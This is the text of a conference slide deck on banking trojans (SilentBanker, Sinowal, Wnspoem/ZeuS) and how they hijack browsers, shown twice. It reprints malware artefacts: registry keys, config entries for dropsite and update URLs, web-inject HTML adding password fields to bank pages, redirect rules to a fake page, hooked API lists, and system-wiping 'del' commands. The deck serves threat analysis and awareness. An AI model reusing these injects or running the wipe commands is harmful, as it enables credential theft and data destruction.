Common Browser Hijacking Methods

*[ Common Browser Hijacking Methods]




David Barroso
TERENA Meeting, León
Agenda


              Browser Hijacking


   Examples: SilentBanker, Sinowal, Wnspoem


           Kill the Operating System


                  Summary


                      2
Browser
Hijacking
Definition


  “Browser hijacking is the modification of a web
  browser’s settings by malicious code. The term
  ‘hijacking’ is used as the changes are performed
  without the user’s permission” (Wikipedia)
  Additionally, the malicious code can modify the
  HTML rendered in the browser in order to lure the
  user




                       4
Why are they asking for so many data?




                         5
Examples
SilentBanker

  Date: 2007
  Method: Browser Helper Object
  Technique: Real time HTML injection and HTML forwarding
  Infection: drive-by exploits
  Misc: more than 75 mutations




                                 7
SilentBanker: Flow Diagram




                        8
SilentBanker: BHO Installation


[HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}]
@="Microsoft Shared Library Object Version"

[HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}InprocServer32]
@="C:WINDOWSsystem32mfc42dx1.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}ProgID]
@="SharedObject.SharedObjectVersion.1"

[HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}TypeLib]
@="{5F226421-415D-408D-9A09-0DCD94E25B48}"

[HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}VersionIndependentProgID]
@="SharedObject.SharedObjectVersion"

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects
{0000AC13-3487-1583-C4BE-BE6A839DB000}]




                                               9
SilentBanker: Configuration File


Get X.Y.67.30/~ipcount/ww6/getcfg.php?
id=93D6890E-DC16-4CB7-ABCB-829EB06B1CD7&c=10&v=21&b=6&z=12705442




                               10
SilentBanker: Configuration File

      The encrypted configuration file includes:
[dfgdf] • Additional configuration sources
Bg1=X.Y.67.30/~ipcount/ww6/getcfg.php
        • Dropsite URL
Bg2=A.B.100.103/ww6/getcfg.php
        • Update URL
        • Data encryption key
[nbmx]
Bg1=X.Y.67.30/~ipcount/ww6/data.php
Bg2=A.B.100.103/ww6/data.php

[kjew]
Bg1=X.Y.67.30/~ipcount/ww6/file.exe
Bg2=A.B.100.103/ww6/file.exe

[sdfs]
secd=08000000B7B613F1F56F5BC7EDAEDEEFD2ABB1D38B2BA1014A585…



                                       11
SilentBanker: Injection Configuration


Get X.Y.67.30/~ipcount/ww6/getcfg.php? Action
                                 pok
id=93D6890E-DC16-4CB7-ABCB-829EB06B1CD7&c=20&v=21&b=6&z=12705442
                                 qas   Target URL
                                 njd  Begin replacement token
                                 dfr Number of characters in njd -1
                                 xzn  End replacement token
 [jhw18]
                                 xzq  Number of characters in xzn -1
 pok=insert
                                 rek  HTML code injected
 qas=passport.yandex.ru/passport
                                 req  Number of characters in rek -1
 njd=3ECFE0F0EEEBFC3A3C28
dfr=9
                           insert insert injected HTML code between tokens
xzn=3C2367653E69
                           delete delete HTML code in xzn
xzq=5
                           replace    replace HTML code in xzn
rek=202020203C676520696E797674612122676263223E0D0A202020203223ECFE
                           subreq    substitute xzn with rek
BE0F2E5E6EDFBE920EFE0F0EEEBFC3A3C2367713E0D0A202020203C6771206
                           grab    extract field in xzn
A767167752122292431222070796E666621227661636867223E0D0A202020203C
766163686720676C63722122636E66666A6265712220616E7A722122636E66666…
req=331

                                  12
SilentBanker: Injection Configuration


 <ge inyvta!"gbc">
  <gq jvqgu!".1"><qvi fglyr!"jvqgu: ($ck;"><oe #><#qvi><#gq>
  <gq jvqgu!"%+1" pynff!"ynory">Ïëàòåæíûé ïàðîëü:<#gq>
  <gq jvqgu!")$1" pynff!"vachg">
  <vachg glcr!"cnffjbeq" anzr!"cnffjq&" inyhr!"" fglyr!"jvqgu:)$1"
gnovaqrk!"&">2aofc;2aofc;<oe#> <#gq>
  <gq jvqgu!"&)1"><oe><#gq>
  <#ge>
                                       ROT-13 Algorithm
<tr valign="top">
   <td width="8%"><div style="width: 40px;"><br /></div></td>
   <td width="17%" class="label">Ïëàòåæíûé ïàðîëü:</td>
   <td width="50%" class="input">
   <input type="password" name="passwd2" value="" style="width:50%" tabindex="2
&nbsp;&nbsp;<br/> </td>
   <td width="25%"><br></td>
   </tr>
                                      13
SilentBanker: Original Webpage




                        14
SilentBanker: Modified Webpage




                       15
Sinowal/Anserin/Torpig

  Date: 2005
  Method: Code Injection
  Technique: Real time HTML injection and HTML forwarding
  Infection: drive-by exploits and email
  Misc: infects Master Boot Record (MBR) to be stealth




                                16
Sinowal: Injection

  Sinowal does not have a configuration file with details about all the injections
  Each time the user connects to a specific sites, Sinowal asks its injection
  server for instructions




                                     17
Sinowal: Injection Example

GET host/Key/EncryptedData
GET host/EFAAC5AEB85FF1D1/
MGJmlWUXX1Rkf8V+6n7wFFFiJsXRwhy1




                                               I want the answer
     Tell me the fake   This is the targeted   encrypted
     page path
                        brand




                            18
Sinowal: Injection Example

Step 3: The injection server looks for the targeted brand:
UK online*.lloydstsb.* /miheld.ibc {www} /uk/lloyds/lloyds.php
  204
USA onlineid.bankofamerica.com /cgi-
  bin/sso.login.controller* {www}
  /usa/bofa_pers/sso.login.php 2 0 3
ES www*.bancopopular.es /Bpemotor {www}
  /spain/bancopopular/bancopopular.php 2 0 2




                            19
Sinowal: Injection Example
                                               2: You need a GET of to enabled
                                                          5: number
                                                    0: Number1: Injection
                                                                 of visits
                 This is the fake page                    injection attempts
                                                    the real URL
Step 4: the injection server answers
                 path

www*.bancopopular.es /Bpemotor
/spain/bancopopular/bancopopular.php 2 0 5 1




                                         20
Sinowal: Targeted URLs


  HTTP Forwarding             •   PL: 7
  (Web Injects)               •   AU: 26
  •   UK: 40                  •   SK: 5
  •   DE: 47                  •   NZ: 8
  •   US: 65                  •   NL: 4
  •   ES: 30                  •   SG: 2
  •   IT: 18
  •   AT: 7
  •   TR: 44



                         21
Wnspoem/PRG/ZeuS/Ntos

   Date: 2006
   Method: Code Injection
   Technique: Real time HTML injection and HTML forwarding
   Infection: drive-by exploits




               Version 1     Version 2       Version 3       Version 4
Directory      wnspoem       sysproc64       twain_32        lowsec
Filename       ntos.exe      oembios.exe     twext.exe       sdra64.exe
Stolen data    audio.dll     sysproc86.sys   local.ds        local.ds
Configuratio   video.dll     sysproc32.sys   user.ds         user.ds
n
                                 22
Wnspoem: Famous Screenshots




                     23
Wnspoem: Flow Diagram




                        24
Wnspoem: Hooks

 Wsock32.dll (FTP/POP3 capture)        Wininet.dll (Capture data, inject
  •   Send                             HTML)
  •   Sendto                            •   HTTPSendRequest
  •   Closesocket                       •   InternetReadFile
 Ws2_32.dll (FTP/POP3)                  •   InternetReadFileEx
  •   Send                              •   InternetQueryDataAvailable
  •   Sendto                            •   InternetCloseHandle
  •   WSASend                           •   HTTPQueryInfo
  •   WSASendTo                        Ntdll.dll (Infect processes and hide
  •   Closesocket                      files)
 User32.dll (Keylogger)                 •   NtCreateThread
  •   GetMessage                        •   LdrLoadDll
  •   PeekMesasge                       •   LdrGetProcedureAddress
  •   GetClipboardData                  •   NtQueryDirectoryFile
 Crypt32.dll (Certificates)
  •   PFXImportCertStore




                                  25
Wnspoem: Configuration File
Configuration files in latest wnspoem version uses RC4 and 256-bits keys

set_url https://www.gruposantander.es/bog/sbi*?ptns=acceso* GP
data_before
name="password"*</td>*</td>
data_end
data_inject
<td align="left" colspan="7" valign="bottom"></td></tr><tr>
<td class="textoHome" align="left">3. Clave de Transferencias</td>
<td width="20"><img src='/img4bog/px.gif' border='0' width="20" height="1"></td>
<td align="left"><input type="password" name="ESpass" maxlength="60" tabindex="3
" class="TextoContenido"></td>
data_end
data_after
data_end




                                                26
Wnspoem: Original Webpage




                      27
Wnspoem: Modified Webpage




                     28
Wnspoem: HTTP Forwarding

 Some banks use security tokens or more complex 2nd authentication than a
 password
 In this scenario, HTML injection is avoided, and the user is forwarded to a
 fake webpage usually hosted in a compromised site




                                  29
Wnspoem: HTTP Forwarding

In the configuration file:
@https://*.barclays.co.uk/*
https://*.barclays.co.uk/*
http://compromisedhost.com/img/commons/barclay/index.ph
   p
@https://*.cajasur.es/*
https://*.cajasur.es/*
http://compromisedhost.com/img/commons/cajasur/index.ph
   p




                             30
Wnspoem: Fake Webpage




                    31
Wnspoem: Statistics

  Analysis and Statistics: Configuration files
  750 configuration files (usually cfg.bin) analyzed.
  Only wnspoem version 1, 2 and 3




                                     32
Wnspoem: Top 10 TLD




                      33
Wnspoem: Targeted Brands




                      34
Wnspoem: Malicious Domains




                      35
Wnspoem: Malicious IP Addresses




                       36
Kill the
Operating
System
Kill the Operating System

  It is getting more common that just after stealing the credentials, the operating
  system is remotely destroyed
  This action makes the analysis more difficult, since cannot be done remotely.
  The malicious code is not securely deleted in the system and can be
  recovered
  One optimistic result is that the machine will be reformated with a new and
  patched operating system.




                                     38
Kill the Operating System

  Nethell:
   • Deletes NTDETECT.COM and ntldr
  InfoStealer:
   • Deletes drivers*.sys
   • Deletes some registry keys (HKLMMicrosoftWindows
      NTCurrentVersionWinlogon: Shell = Explorer.exe
  Wnspoem:
   • Deletes HKCU, HKLMSoftware and HKLMSystem
  Glacial Dracon:
   • del /A:S /Q /F C:*.*
   • del /S /Q %SYSTEMROOT% %PROGRAMFILES%




                                39
Summary
Summary

 Browser Hijacking is actively used in fraud schemes
 Targeted brands are all around the world
 Currently, only Microsoft Windows users are affected (Internet Explorer and
 Firefox)
 Be suspicious if your browser is asking for too much information
 Be more suspicious if your computer stops working just after your browsing is
 asking for too much information ☺




                                  41
Thanks
David Barroso
S21sec e-crime Director
dbarroso@s21sec.com
http://blog.s21sec.com

       lostinsecurity
*[ MUCHAS GRACIAS ]




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Common Browser Hijacking Methods

  • 1. *[ Common Browser Hijacking Methods] David Barroso TERENA Meeting, León
  • 2. Agenda Browser Hijacking Examples: SilentBanker, Sinowal, Wnspoem Kill the Operating System Summary 2
  • 4. Definition “Browser hijacking is the modification of a web browser’s settings by malicious code. The term ‘hijacking’ is used as the changes are performed without the user’s permission” (Wikipedia) Additionally, the malicious code can modify the HTML rendered in the browser in order to lure the user 4
  • 5. Why are they asking for so many data? 5
  • 7. SilentBanker Date: 2007 Method: Browser Helper Object Technique: Real time HTML injection and HTML forwarding Infection: drive-by exploits Misc: more than 75 mutations 7
  • 9. SilentBanker: BHO Installation [HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}] @="Microsoft Shared Library Object Version" [HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}InprocServer32] @="C:WINDOWSsystem32mfc42dx1.dll" "ThreadingModel"="Apartment" [HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}ProgID] @="SharedObject.SharedObjectVersion.1" [HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}TypeLib] @="{5F226421-415D-408D-9A09-0DCD94E25B48}" [HKEY_CLASSES_ROOTCLSID{0000AC13-3487-1583-C4BE-BE6A839DB000}VersionIndependentProgID] @="SharedObject.SharedObjectVersion" [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects {0000AC13-3487-1583-C4BE-BE6A839DB000}] 9
  • 10. SilentBanker: Configuration File Get X.Y.67.30/~ipcount/ww6/getcfg.php? id=93D6890E-DC16-4CB7-ABCB-829EB06B1CD7&c=10&v=21&b=6&z=12705442 10
  • 11. SilentBanker: Configuration File The encrypted configuration file includes: [dfgdf] • Additional configuration sources Bg1=X.Y.67.30/~ipcount/ww6/getcfg.php • Dropsite URL Bg2=A.B.100.103/ww6/getcfg.php • Update URL • Data encryption key [nbmx] Bg1=X.Y.67.30/~ipcount/ww6/data.php Bg2=A.B.100.103/ww6/data.php [kjew] Bg1=X.Y.67.30/~ipcount/ww6/file.exe Bg2=A.B.100.103/ww6/file.exe [sdfs] secd=08000000B7B613F1F56F5BC7EDAEDEEFD2ABB1D38B2BA1014A585… 11
  • 12. SilentBanker: Injection Configuration Get X.Y.67.30/~ipcount/ww6/getcfg.php? Action pok id=93D6890E-DC16-4CB7-ABCB-829EB06B1CD7&c=20&v=21&b=6&z=12705442 qas Target URL njd Begin replacement token dfr Number of characters in njd -1 xzn End replacement token [jhw18] xzq Number of characters in xzn -1 pok=insert rek HTML code injected qas=passport.yandex.ru/passport req Number of characters in rek -1 njd=3ECFE0F0EEEBFC3A3C28 dfr=9 insert insert injected HTML code between tokens xzn=3C2367653E69 delete delete HTML code in xzn xzq=5 replace replace HTML code in xzn rek=202020203C676520696E797674612122676263223E0D0A202020203223ECFE subreq substitute xzn with rek BE0F2E5E6EDFBE920EFE0F0EEEBFC3A3C2367713E0D0A202020203C6771206 grab extract field in xzn A767167752122292431222070796E666621227661636867223E0D0A202020203C 766163686720676C63722122636E66666A6265712220616E7A722122636E66666… req=331 12
  • 13. SilentBanker: Injection Configuration <ge inyvta!"gbc"> <gq jvqgu!".1"><qvi fglyr!"jvqgu: ($ck;"><oe #><#qvi><#gq> <gq jvqgu!"%+1" pynff!"ynory">Ïëàòåæíûé ïàðîëü:<#gq> <gq jvqgu!")$1" pynff!"vachg"> <vachg glcr!"cnffjbeq" anzr!"cnffjq&" inyhr!"" fglyr!"jvqgu:)$1" gnovaqrk!"&">2aofc;2aofc;<oe#> <#gq> <gq jvqgu!"&)1"><oe><#gq> <#ge> ROT-13 Algorithm <tr valign="top"> <td width="8%"><div style="width: 40px;"><br /></div></td> <td width="17%" class="label">Ïëàòåæíûé ïàðîëü:</td> <td width="50%" class="input"> <input type="password" name="passwd2" value="" style="width:50%" tabindex="2 &nbsp;&nbsp;<br/> </td> <td width="25%"><br></td> </tr> 13
  • 16. Sinowal/Anserin/Torpig Date: 2005 Method: Code Injection Technique: Real time HTML injection and HTML forwarding Infection: drive-by exploits and email Misc: infects Master Boot Record (MBR) to be stealth 16
  • 17. Sinowal: Injection Sinowal does not have a configuration file with details about all the injections Each time the user connects to a specific sites, Sinowal asks its injection server for instructions 17
  • 18. Sinowal: Injection Example GET host/Key/EncryptedData GET host/EFAAC5AEB85FF1D1/ MGJmlWUXX1Rkf8V+6n7wFFFiJsXRwhy1 I want the answer Tell me the fake This is the targeted encrypted page path brand 18
  • 19. Sinowal: Injection Example Step 3: The injection server looks for the targeted brand: UK online*.lloydstsb.* /miheld.ibc {www} /uk/lloyds/lloyds.php 204 USA onlineid.bankofamerica.com /cgi- bin/sso.login.controller* {www} /usa/bofa_pers/sso.login.php 2 0 3 ES www*.bancopopular.es /Bpemotor {www} /spain/bancopopular/bancopopular.php 2 0 2 19
  • 20. Sinowal: Injection Example 2: You need a GET of to enabled 5: number 0: Number1: Injection of visits This is the fake page injection attempts the real URL Step 4: the injection server answers path www*.bancopopular.es /Bpemotor /spain/bancopopular/bancopopular.php 2 0 5 1 20
  • 21. Sinowal: Targeted URLs HTTP Forwarding • PL: 7 (Web Injects) • AU: 26 • UK: 40 • SK: 5 • DE: 47 • NZ: 8 • US: 65 • NL: 4 • ES: 30 • SG: 2 • IT: 18 • AT: 7 • TR: 44 21
  • 22. Wnspoem/PRG/ZeuS/Ntos Date: 2006 Method: Code Injection Technique: Real time HTML injection and HTML forwarding Infection: drive-by exploits Version 1 Version 2 Version 3 Version 4 Directory wnspoem sysproc64 twain_32 lowsec Filename ntos.exe oembios.exe twext.exe sdra64.exe Stolen data audio.dll sysproc86.sys local.ds local.ds Configuratio video.dll sysproc32.sys user.ds user.ds n 22
  • 25. Wnspoem: Hooks Wsock32.dll (FTP/POP3 capture) Wininet.dll (Capture data, inject • Send HTML) • Sendto • HTTPSendRequest • Closesocket • InternetReadFile Ws2_32.dll (FTP/POP3) • InternetReadFileEx • Send • InternetQueryDataAvailable • Sendto • InternetCloseHandle • WSASend • HTTPQueryInfo • WSASendTo Ntdll.dll (Infect processes and hide • Closesocket files) User32.dll (Keylogger) • NtCreateThread • GetMessage • LdrLoadDll • PeekMesasge • LdrGetProcedureAddress • GetClipboardData • NtQueryDirectoryFile Crypt32.dll (Certificates) • PFXImportCertStore 25
  • 26. Wnspoem: Configuration File Configuration files in latest wnspoem version uses RC4 and 256-bits keys set_url https://www.gruposantander.es/bog/sbi*?ptns=acceso* GP data_before name="password"*</td>*</td> data_end data_inject <td align="left" colspan="7" valign="bottom"></td></tr><tr> <td class="textoHome" align="left">3. Clave de Transferencias</td> <td width="20"><img src='/img4bog/px.gif' border='0' width="20" height="1"></td> <td align="left"><input type="password" name="ESpass" maxlength="60" tabindex="3 " class="TextoContenido"></td> data_end data_after data_end 26
  • 29. Wnspoem: HTTP Forwarding Some banks use security tokens or more complex 2nd authentication than a password In this scenario, HTML injection is avoided, and the user is forwarded to a fake webpage usually hosted in a compromised site 29
  • 30. Wnspoem: HTTP Forwarding In the configuration file: @https://*.barclays.co.uk/* https://*.barclays.co.uk/* http://compromisedhost.com/img/commons/barclay/index.ph p @https://*.cajasur.es/* https://*.cajasur.es/* http://compromisedhost.com/img/commons/cajasur/index.ph p 30
  • 32. Wnspoem: Statistics Analysis and Statistics: Configuration files 750 configuration files (usually cfg.bin) analyzed. Only wnspoem version 1, 2 and 3 32
  • 33. Wnspoem: Top 10 TLD 33
  • 36. Wnspoem: Malicious IP Addresses 36
  • 38. Kill the Operating System It is getting more common that just after stealing the credentials, the operating system is remotely destroyed This action makes the analysis more difficult, since cannot be done remotely. The malicious code is not securely deleted in the system and can be recovered One optimistic result is that the machine will be reformated with a new and patched operating system. 38
  • 39. Kill the Operating System Nethell: • Deletes NTDETECT.COM and ntldr InfoStealer: • Deletes drivers*.sys • Deletes some registry keys (HKLMMicrosoftWindows NTCurrentVersionWinlogon: Shell = Explorer.exe Wnspoem: • Deletes HKCU, HKLMSoftware and HKLMSystem Glacial Dracon: • del /A:S /Q /F C:*.* • del /S /Q %SYSTEMROOT% %PROGRAMFILES% 39
  • 41. Summary Browser Hijacking is actively used in fraud schemes Targeted brands are all around the world Currently, only Microsoft Windows users are affected (Internet Explorer and Firefox) Be suspicious if your browser is asking for too much information Be more suspicious if your computer stops working just after your browsing is asking for too much information ☺ 41
  • 42. Thanks David Barroso S21sec e-crime Director dbarroso@s21sec.com http://blog.s21sec.com lostinsecurity
  • 43. *[ MUCHAS GRACIAS ] Pág. 43